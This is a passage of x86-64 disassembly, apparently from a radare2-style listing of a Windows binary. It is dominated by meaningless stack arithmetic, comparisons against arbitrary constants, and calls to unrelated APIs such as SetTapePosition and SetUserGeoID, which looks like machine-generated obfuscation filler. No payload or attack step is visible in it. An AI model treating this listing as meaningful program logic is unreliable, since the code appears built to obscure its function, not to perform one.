movzx eax, byte [rsp + 0xfa]
movzx ecx, byte [rsp + 0xfc]
sar eax, cl
mov rcx, qword [rsp + 0x4040]
mov byte [rcx], al
mov rax, qword [rsp + 0x4050]
mov rcx, qword [rsp + 0x3fe0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4050]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x3fd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4018]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2128]
mov ecx, dword [rsp + 0x2150]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x21a4], eax
mov rax, qword [rsp + 0x3f98]
mov rcx, qword [rsp + 0x4078]
add rcx, rax
mov rax, rcx
mov qword [0x1401a0008], rax
jmp 0x14005d420
mov rax, qword [rsp + 0x3fe0]
mov rcx, qword [rsp + 0x3f38]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4050]
mov edx, dword [rsp + 0x20a0]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
je 0x14005d794
mov rax, qword [rsp + 0x3a78]
mov rcx, qword [rsp + 0x4090]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov rdx, qword [rsp + 0x40b8]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
jne 0x14005d771
movzx eax, byte [rsp + 0xfc]
movzx ecx, byte [rsp + 0xf9]
xor eax, ecx
mov rcx, qword [rsp + 0x4040]
mov byte [rcx], al
mov eax, dword [rsp + 0x21a4]
mov dword [rsp + 0x21d0], eax
cmp dword [rsp + 0x21d0], 0x2a720753
je 0x14005d6a9
jmp 0x14005d753
movzx eax, word [rsp + 0x8f0]
mov rcx, qword [rsp + 0x4190]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x8ec], ax
lea rdx, [rsp + 0x41e0]
lea rcx, [rsp + 0x17ed8]
call qword [sym.imp.ole32.dll_CoGetCallContext]
mov dword [rsp + 0x20dc], eax
mov rax, qword [rsp + 0x4080]
movzx eax, byte [rax]
mov byte [rsp + 0x21d4], al
cmp byte [rsp + 0x21d4], 0x7d
je 0x14005d729
cmp byte [rsp + 0x21d4], 0xbc
je 0x14005d70b
jmp 0x14005d751
movzx eax, byte [rsp + 0xfa]
movzx ecx, byte [rsp + 0xfe]
sar eax, cl
mov rcx, qword [rsp + 0x40d0]
mov byte [rcx], al
jmp 0x14005d751
mov rax, qword [rsp + 0x41d8]
movsx eax, word [rax]
add eax, 0x71b6
mov word [rsp + 0x67c], ax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rax]
call fcn.140153e90
nop
jmp 0x14005d76f
movsx eax, byte [rsp + 0xfb]
movsx ecx, byte [rsp + 0xfd]
sub eax, ecx
mov rcx, qword [rsp + 0x4130]
mov byte [rcx], al
jmp 0x14005d78f
mov rax, qword [rsp + 0x3f98]
mov rcx, qword [rsp + 0x4010]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4078], rax
jmp 0x14005d90f
mov rax, qword [rsp + 0x4010]
mov rcx, qword [rsp + 0x3f98]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fa8]
mov rdx, qword [rsp + 0x4078]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
ja 0x14005d90f
mov rax, qword [rsp + 0x4050]
mov ecx, dword [rsp + 0x2084]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x20a0], eax
mov rax, qword [rsp + 0x4070]
mov rcx, qword [rsp + 0x4010]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4158]
mov rcx, qword [rcx]
mov rdx, qword [0x1401a0008]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jae 0x14005d8ef
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xdd
mov r9d, 0x33
mov r8d, 0xb6
mov edx, 0x20
mov rcx, qword [rsp + 0x41a8]
call qword [sym.imp.KERNEL32.dll_SetTapePosition]
mov dword [rsp + 0x20e8], eax
movzx eax, word [rsp + 0x8f0]
mov dword [rsp + 0x21d8], eax
cmp dword [rsp + 0x21d8], 0x5b7
je 0x14005d86e
jmp 0x14005d8c4
mov rax, qword [rsp + 0x4058]
mov rcx, qword [rsp + 0x3f90]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3fd8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2150]
mov ecx, dword [rsp + 0x21a4]
sub ecx, eax
mov eax, ecx
mov dword [0x1401a0f90], eax
movsx eax, word [rsp + 0x67c]
add eax, 0x378b
mov rcx, qword [rsp + 0x41d8]
mov word [rcx], ax
jmp 0x14005d8ed
mov rax, qword [rsp + 0x3fa8]
mov r9, qword [rax]
movzx r8d, word [rsp + 0x8ec]
mov edx, dword [rsp + 0x2084]
movzx ecx, byte [rsp + 0xfb]
call fcn.140153480
nop
jmp 0x14005d90f
lea rax, [rsp + 0xfe]
mov qword [rsp + 0x41e8], rax
lea rax, [rsp + 0x8ec]
mov qword [rsp + 0x41f0], rax
movzx eax, byte [rsp + 0xfb]
mov byte [rsp + 0x21dc], al
cmp byte [rsp + 0x21dc], 0xf
je 0x14005d92a
jmp 0x14005d966
lea r8, [rsp + 0x17ee8]
lea rdx, [rsp + 0x17f80]
lea rcx, [rsp + 0x41a0]
call sub.gdiplus.dll_GdiplusStartup
mov dword [rsp + 0x21e0], eax
movsx eax, byte [rsp + 0x7c]
movsx ecx, byte [rsp + 0xfd]
sar eax, cl
mov byte [rsp + 0xfb], al
jmp 0x14005d9b2
movzx eax, word [rsp + 0x67c]
mov word [rsp + 0x8f4], ax
lea rax, [rsp + 0x21a4]
mov qword [rsp + 0x41f8], rax
mov rax, qword [rsp + 0x4010]
movzx ecx, al
mov rax, qword [rsp + 0x3f98]
shl rax, cl
mov qword [rsp + 0x4078], rax
mov eax, dword [rsp + 0x20e8]
mov dword [rsp + 0x21e4], eax
mov rax, qword [rsp + 0x41d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x67c]
or eax, ecx
movsx ecx, word [rsp + 0x8f4]
cmp eax, ecx
jg 0x140152a1a
movzx eax, word [rsp + 0x8f0]
movzx ecx, word [rsp + 0x8ec]
sub eax, ecx
mov rcx, qword [rsp + 0x4190]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x41f0]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jl 0x1401529dc
mov rax, qword [rsp + 0x4050]
mov rcx, qword [rsp + 0x3fe0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0x209c]
mov edx, dword [rsp + 0x217c]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x140152971
movsx eax, byte [rsp + 0xfb]
mov rcx, qword [rsp + 0x4130]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4008]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x4150]
movsx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
jg 0x14005db7f
movzx eax, byte [rsp + 0xfc]
mov rcx, qword [rsp + 0x4040]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0xfa], al
lea rax, [rsp + 0x2150]
mov qword [rsp + 0x4200], rax
mov rax, qword [rsp + 0x4150]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4130]
movsx ecx, byte [rcx]
add eax, ecx
movsx ecx, byte [rsp + 0xfb]
mov rdx, qword [rsp + 0x4008]
movsx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jle 0x14005daed
mov rax, qword [rsp + 0x4018]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3a78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4090], rax
mov rax, qword [rsp + 0x4050]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x209c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x41f0]
movzx eax, word [rax]
mov dword [rsp + 0x21e8], eax
cmp dword [rsp + 0x21e8], 0xd44
je 0x14005db2d
jmp 0x14005db3c
call qword [sym.imp.ole32.dll_CoTestCancel]
mov dword [rsp + 0x21ec], eax
jmp 0x14005db7f
mov rax, qword [rsp + 0x4070]
mov rax, qword [rax]
mov qword [rsp + 0x4208], rax
mov rax, qword [rsp + 0x41f0]
movzx eax, word [rax]
mov word [rsp + 0x8f8], ax
movzx eax, byte [rsp + 0xfa]
movzx ecx, byte [rsp + 0xfc]
imul eax, ecx
mov rcx, qword [rsp + 0x41e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x41d8]
movzx eax, word [rax]
mov word [rsp + 0x8fc], ax
movzx eax, word [rsp + 0x8f0]
mov rcx, qword [rsp + 0x4190]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x41f0]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x8f8]
add ecx, edx
cmp eax, ecx
jg 0x14005dc5d
mov rax, qword [rsp + 0x41f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8ec]
add eax, ecx
mov rcx, qword [rsp + 0x4190]
mov word [rcx], ax
mov rax, qword [rsp + 0x4090]
mov qword [rsp + 0x4210], rax
movabs rax, 0x2e87b237e40ed82d
cmp qword [rsp + 0x4210], rax
je 0x14005dc0a
jmp 0x14005dc39
mov rax, qword [rsp + 0x41d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8f4]
sub eax, ecx
mov word [rsp + 0x8fc], ax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rax]
call fcn.140153e90
nop
jmp 0x14005dc5d
mov rax, qword [rsp + 0x4188]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4090]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fd8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xfd]
mov byte [rsp + 0x21f0], al
cmp byte [rsp + 0x21f0], 0
je 0x14005ddcb
cmp byte [rsp + 0x21f0], 0x58
je 0x14005dc89
jmp 0x140152940
mov dword [rsp + 0x28], 0xdf
lea rax, [rsp + 0x4218]
mov qword [rsp + 0x20], rax
mov r9d, 0x7f
lea r8, [rsp + 0x17e68]
lea rdx, [rsp + 0x17eb8]
lea rcx, [rsp + 0x41f0]
call qword [sym.imp.ole32.dll_CoGetMarshalSizeMax]
mov dword [rsp + 0x2184], eax
mov rax, qword [rsp + 0x4080]
movzx eax, byte [rax]
mov byte [rsp + 0x21f4], al
cmp byte [rsp + 0x21f4], 0x3f
je 0x14005dce7
jmp 0x14005dd04
mov rdx, qword [rsp + 0x4220]
mov rcx, qword [rsp + 0x41c0]
call qword [sym.imp.KERNEL32.dll_SetFileShortNameW]
mov dword [rsp + 0x20b8], eax
mov rax, qword [rsp + 0x40d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf9]
xor eax, ecx
mov rcx, qword [rsp + 0x41e8]
movzx ecx, byte [rcx]
mov dword [rsp + 0x21f8], ecx
mov rdx, qword [rsp + 0x4040]
movzx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x21f8]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jg 0x14005dda1
mov rax, qword [rsp + 0x41f8]
mov ecx, dword [rsp + 0x21a4]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4200]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3fe0]
mov rcx, qword [rsp + 0x4050]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x20e8], eax
movsx eax, byte [rsp + 0xfd]
mov rcx, qword [rsp + 0x4008]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4130]
mov byte [rcx], al
mov rax, qword [rsp + 0x41d8]
movzx r8d, word [rax]
mov rdx, qword [rsp + 0x4010]
mov rax, qword [rsp + 0x41d8]
movzx ecx, word [rax]
call fcn.1401539e0
nop
jmp 0x140152940
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4188]
mov rdx, qword [rsp + 0x40b8]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jge 0x14005dec8
mov rax, qword [rsp + 0x41f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4190]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8f8], ax
mov rax, qword [rsp + 0x4130]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfd]
sub eax, ecx
mov rcx, qword [rsp + 0x4130]
mov byte [rcx], al
mov rax, qword [rsp + 0x3fa8]
mov rax, qword [rax]
mov qword [rsp + 0x4228], rax
movabs rax, 0x73ebcd8cb44fb4c4
cmp qword [rsp + 0x4228], rax
je 0x14005de6b
jmp 0x14005deab
call qword [sym.imp.ole32.dll_CoTestCancel]
mov dword [rsp + 0x2178], eax
movzx eax, byte [rsp + 0xfc]
movzx ecx, byte [rsp + 0xfe]
and eax, ecx
mov rcx, qword [rsp + 0x4040]
mov byte [rcx], al
lea rcx, [rsp + 0x3a78]
call qword [sym.imp.ole32.dll_CoIsHandlerConnected]
mov dword [rsp + 0x21c4], eax
jmp 0x14005dec8
mov rax, qword [rsp + 0x41d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8fc]
sub eax, ecx
mov word [rsp + 0x8f4], ax
mov rax, qword [rsp + 0x41f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8ec]
add eax, ecx
movzx ecx, word [rsp + 0x8f0]
mov rdx, qword [rsp + 0x4190]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jl 0x14005dfd2
movzx eax, word [rsp + 0x8f0]
mov rcx, qword [rsp + 0x4190]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x41f0]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x8ec]
and ecx, edx
cmp eax, ecx
jg 0x14005df6a
mov rax, qword [rsp + 0x41f8]
mov ecx, dword [rsp + 0x2128]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1401a0f90], eax
mov r9d, 0xc6
lea r8, [rsp + 0x3f38]
mov edx, 0x6a
mov rcx, qword [rsp + 0x4230]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x209c], eax
mov rax, qword [rsp + 0x3fa8]
mov rcx, qword [rsp + 0x4158]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4180]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xfe]
mov rcx, qword [rsp + 0x40d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xfa], al
mov rax, qword [rsp + 0x4190]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x41f0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4190]
mov word [rcx], ax
jmp 0x140152884
movsx eax, word [rsp + 0x8fc]
mov dword [rsp + 0x21fc], eax
cmp dword [rsp + 0x21fc], 0xe00
je 0x14005dff3
jmp 0x140152850
movzx eax, byte [rsp + 0xfb]
mov byte [rsp + 0xff], al
mov rax, qword [rsp + 0x41f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8ec]
sub eax, ecx
mov word [rsp + 0x8f8], ax
lea rax, [rsp + 0x2128]
mov qword [rsp + 0x4238], rax
mov rax, qword [rsp + 0x3fa8]
mov rcx, qword [rsp + 0x4208]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4180]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3fe0]
mov rcx, qword [rsp + 0x3f38]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4050]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a78]
movzx ecx, al
mov rax, qword [rsp + 0x4090]
sar rax, cl
mov rcx, qword [rsp + 0x3fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4150]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4130]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xfd], al
mov eax, dword [rsp + 0x211c]
sub eax, 0x9f
mov dword [rsp + 0x211c], eax
movsx eax, word [rsp + 0x8f4]
movsx ecx, word [rsp + 0x8fc]
shl eax, cl
mov rcx, qword [rsp + 0x41d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4150]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfb]
or eax, ecx
mov rcx, qword [rsp + 0x4150]
mov byte [rcx], al
movsx eax, word [rsp + 0x8f4]
mov rcx, qword [rsp + 0x41d8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8fc], ax
mov rax, qword [rsp + 0x4080]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfc]
and eax, ecx
mov rcx, qword [rsp + 0x4040]
mov byte [rcx], al
mov rax, qword [rsp + 0x41f8]
mov rcx, qword [rsp + 0x4200]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4238]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x217c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4050]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3fa8]
mov rcx, qword [rsp + 0x3f98]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4048]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3a78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x40b8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x67c]
movsx ecx, word [rsp + 0x8f4]
sub eax, ecx
mov rcx, qword [rsp + 0x41d8]
mov word [rcx], ax
movzx eax, word [rsp + 0x8ec]
movzx ecx, word [rsp + 0x8f0]
add eax, ecx
mov rcx, qword [rsp + 0x41f0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x7c]
movsx ecx, byte [rsp + 0xff]
sub eax, ecx
mov rcx, qword [rsp + 0x4130]
mov byte [rcx], al
mov rax, qword [rsp + 0x4190]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8f0]
and eax, ecx
mov rcx, qword [rsp + 0x41f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4040]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4080]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xfe], al
mov rax, qword [rsp + 0x3fd8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4090]
sar rax, cl
mov rcx, qword [rsp + 0x4058]
mov qword [rcx], rax
cmp dword [rsp + 0x211c], 0xa4c1
jae 0x14005e050
movzx eax, byte [rsp + 0x7c]
mov byte [rsp + 0x2200], al
cmp byte [rsp + 0x2200], 0
je 0x14005e2ad
cmp byte [rsp + 0x2200], 0x2a
je 0x1401527b8
jmp 0x140152810
mov rax, qword [rsp + 0x41f0]
movzx eax, word [rax]
mov word [rsp + 0x900], ax
movsx eax, byte [rsp + 0xff]
movsx ecx, byte [rsp + 0xfb]
and eax, ecx
mov byte [rsp + 0x7c], al
mov rax, qword [rsp + 0x40d0]
movzx eax, byte [rax]
mov byte [rsp + 0x2204], al
cmp byte [rsp + 0x2204], 0xa1
je 0x14005e2f7
jmp 0x14005e3f1
mov rax, qword [rsp + 0x41e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4080]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4040]
mov byte [rcx], al
mov rax, qword [rsp + 0x3fa8]
mov rax, qword [rax]
mov qword [rsp + 0x4240], rax
movabs rax, 0x3de7a8b57cf4ea05
cmp qword [rsp + 0x4240], rax
je 0x14005e359
movabs rax, 0x847a340f46b32d65
cmp qword [rsp + 0x4240], rax
je 0x14005e3cc
jmp 0x14005e3ec
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_SetUserGeoID]
mov dword [rsp + 0x21c4], eax
movsx eax, word [rsp + 0x67c]
movsx ecx, word [rsp + 0x8fc]
sub eax, ecx
mov rcx, qword [rsp + 0x41d8]
mov word [rcx], ax
lea r8, [rsp + 0x21ec]
lea rdx, [rsp + 0x17eb8]
lea rcx, [rsp + 0x4030]
call qword [sym.imp.ole32.dll_CoGetInterfaceAndReleaseStream]
mov dword [rsp + 0x2134], eax
mov rax, qword [rsp + 0x41d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x67c]
add eax, ecx
mov word [rsp + 0x8f4], ax
jmp 0x14005e3ec
mov rax, qword [rsp + 0x4200]
mov rcx, qword [rsp + 0x41f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4238]
mov dword [rcx], eax
jmp 0x14005e4cc
lea rax, [rsp + 0x3f98]
mov qword [rsp + 0x4248], rax
mov rax, qword [rsp + 0x4200]
mov rcx, qword [rsp + 0x4238]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1401a0010], eax
mov rax, qword [rsp + 0x3fe0]
mov ecx, dword [rsp + 0x217c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x40b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4090]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4188]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xfc]
mov byte [rsp + 0x100], al
mov rax, qword [rsp + 0x4050]
mov eax, dword [rax]
mov dword [rsp + 0x2208], eax
cmp dword [rsp + 0x2208], 0
je 0x14005e4a6
cmp dword [rsp + 0x2208], 0xa2ea46c4
je 0x14005e497
jmp 0x14005e4cc
mov ecx, dword [rsp + 0x2084]
call fcn.140153e90
nop
jmp 0x14005e4cc
movsx eax, byte [rsp + 0xfd]
movsx ecx, byte [rsp + 0x7c]
sub eax, ecx
mov byte [rsp + 0xfb], al
lea rax, [rsp + 0x8f0]
mov qword [rsp + 0x4250], rax
mov rax, qword [rsp + 0x41e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfa]
shl eax, cl
mov byte [rsp + 0x6b], al
movsx eax, byte [rsp + 0xfd]
movsx ecx, byte [rsp + 0xff]
sar eax, cl
mov rcx, qword [rsp + 0x4130]
mov byte [rcx], al
mov rax, qword [rsp + 0x4188]
mov rcx, qword [rsp + 0x4090]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x40b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3a78]
mov qword [rsp + 0x4258], rax
movabs rax, 0x24007d309e2163c
cmp qword [rsp + 0x4258], rax
je 0x14005e55f
movabs rax, 0x3192196fa25c38cd
cmp qword [rsp + 0x4258], rax
je 0x14005e5c2
jmp 0x14005e634
lea rdx, [rsp + 0x3f90]
mov ecx, 0xbc
call qword [sym.imp.ole32.dll_GetRunningObjectTable]
mov dword [rsp + 0x20dc], eax
mov rax, qword [rsp + 0x4248]
mov rcx, qword [rsp + 0x3f98]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x3fa8]
mov qword [rcx], rax
mov r9d, dword [0x1401a0010]
movzx r8d, word [rsp + 0x67c]
movzx edx, byte [rsp + 0xff]
movzx ecx, word [rsp + 0x8fc]
call fcn.140154120
nop
jmp 0x14005e634
mov eax, dword [rsp + 0x217c]
mov ecx, dword [rsp + 0x209c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x212c], eax
lea rax, [rsp + 0x4040]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x220c]
mov r8d, dword [rsp + 0x2210]
lea rdx, [rsp + 0x8f4]
mov rcx, qword [rsp + 0x4230]
call qword [sym.imp.KERNEL32.dll_WriteConsoleOutputW]
mov dword [rsp + 0x2214], eax
mov rax, qword [rsp + 0x4200]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x21a4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x41f8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x7c]
movsx ecx, byte [rsp + 0xfb]
add eax, ecx
movsx ecx, byte [rsp + 0xfd]
mov rdx, qword [rsp + 0x4130]
movsx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
jle 0x14005e6a1
mov rax, qword [rsp + 0x41f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4250]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8f8], ax
mov rax, qword [rsp + 0x41d8]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x4048]
mov rdx, qword [rax]
movzx ecx, word [rsp + 0x8fc]
call fcn.1401539e0
nop
mov rax, qword [rsp + 0x3a78]
mov rcx, qword [rsp + 0x4090]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4058]
mov rdx, qword [rsp + 0x4018]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jge 0x14005e7ac
movzx eax, word [rsp + 0x8f8]
movzx ecx, word [rsp + 0x900]
sub eax, ecx
mov rcx, qword [rsp + 0x4190]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x8ec]
sub ecx, edx
cmp eax, ecx
jl 0x14005e7ac
movzx eax, byte [rsp + 0xfa]
mov rcx, qword [rsp + 0x41e8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4080]
mov byte [rcx], al
mov rax, qword [rsp + 0x4248]
mov rax, qword [rax]
mov qword [rsp + 0x4260], rax
movabs rax, 0x3c1b98704c602e9a
cmp qword [rsp + 0x4260], rax
je 0x14005e783
movabs rax, 0xb362a9745a59cdec
cmp qword [rsp + 0x4260], rax
je 0x14005e764
jmp 0x14005e7ac
mov rax, qword [rsp + 0x4250]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8f8]
or eax, ecx
mov word [rsp + 0x900], ax
jmp 0x14005e7ac
call qword [sym.imp.ole32.dll_CoSuspendClassObjects]
mov dword [rsp + 0x2184], eax
movsx eax, byte [rsp + 0xff]
movsx ecx, byte [rsp + 0xfd]
sar eax, cl
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
movzx eax, byte [rsp + 0xff]
mov byte [rsp + 0x2218], al
cmp byte [rsp + 0x2218], 0
je 0x14005e7ca
jmp 0x1401526e8
mov rax, qword [rsp + 0x4050]
mov eax, dword [rax]
mov dword [rsp + 0x221c], eax
cmp dword [rsp + 0x221c], 0
je 0x14005e7fb
cmp dword [rsp + 0x221c], 0x9233872d
je 0x14005e8d4
jmp 0x14005e91c
mov rax, qword [rsp + 0x4250]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8f0]
add eax, ecx
mov word [0x1401a0014], ax
mov rax, qword [rsp + 0x4008]
movzx eax, byte [rax]
mov byte [rsp + 0x2220], al
cmp byte [rsp + 0x2220], 0
je 0x14005e894
cmp byte [rsp + 0x2220], 0x4d
je 0x14005e842
jmp 0x14005e8d2
mov rax, qword [rsp + 0x4078]
mov rcx, qword [rsp + 0x4010]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3f98], rax
mov rax, qword [rsp + 0x4238]
mov ecx, dword [rsp + 0x21a4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4238]
mov dword [rcx], eax
lea rcx, [rsp + 0x17ef8]
call qword [sym.imp.ole32.dll_CoIsOle1Class]
mov dword [rsp + 0x2224], eax
jmp 0x14005e8d2
lea rax, [rsp + 0x21e4]
mov qword [rsp + 0x4268], rax
mov rax, qword [rsp + 0x41e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4080]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x40d0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x7c]
mov byte [rsp + 0x101], al
jmp 0x14005e91c
mov rax, qword [rsp + 0x4190]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x41f0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4190]
mov word [rcx], ax
lea r8, [rsp + 0x17e68]
lea rdx, [rsp + 0x183e0]
lea rcx, [rsp + 0x17e58]
call qword [sym.imp.ole32.dll_CoMarshalInterThreadInterfaceInStream]
mov dword [rsp + 0x2184], eax
mov rax, qword [rsp + 0x41f8]
mov ecx, dword [rsp + 0x2128]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4200]
mov rdx, qword [rsp + 0x4238]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
je 0x14005e9bb
lea rax, [rsp + 0x67c]
mov qword [rsp + 0x4270], rax
lea rax, [rsp + 0x8fc]
mov qword [rsp + 0x4278], rax
movzx eax, word [rsp + 0x8f0]
mov word [0x1401a0f94], ax
mov eax, dword [rsp + 0x2150]
mov rcx, qword [rsp + 0x4238]
mov qword [rsp + 0x4280], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4280]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x4200]
mov dword [rcx], eax
mov eax, dword [rsp + 0x20a0]
mov dword [rsp + 0x2228], eax
jmp 0x14005ea91
mov eax, dword [rsp + 0x21a0]
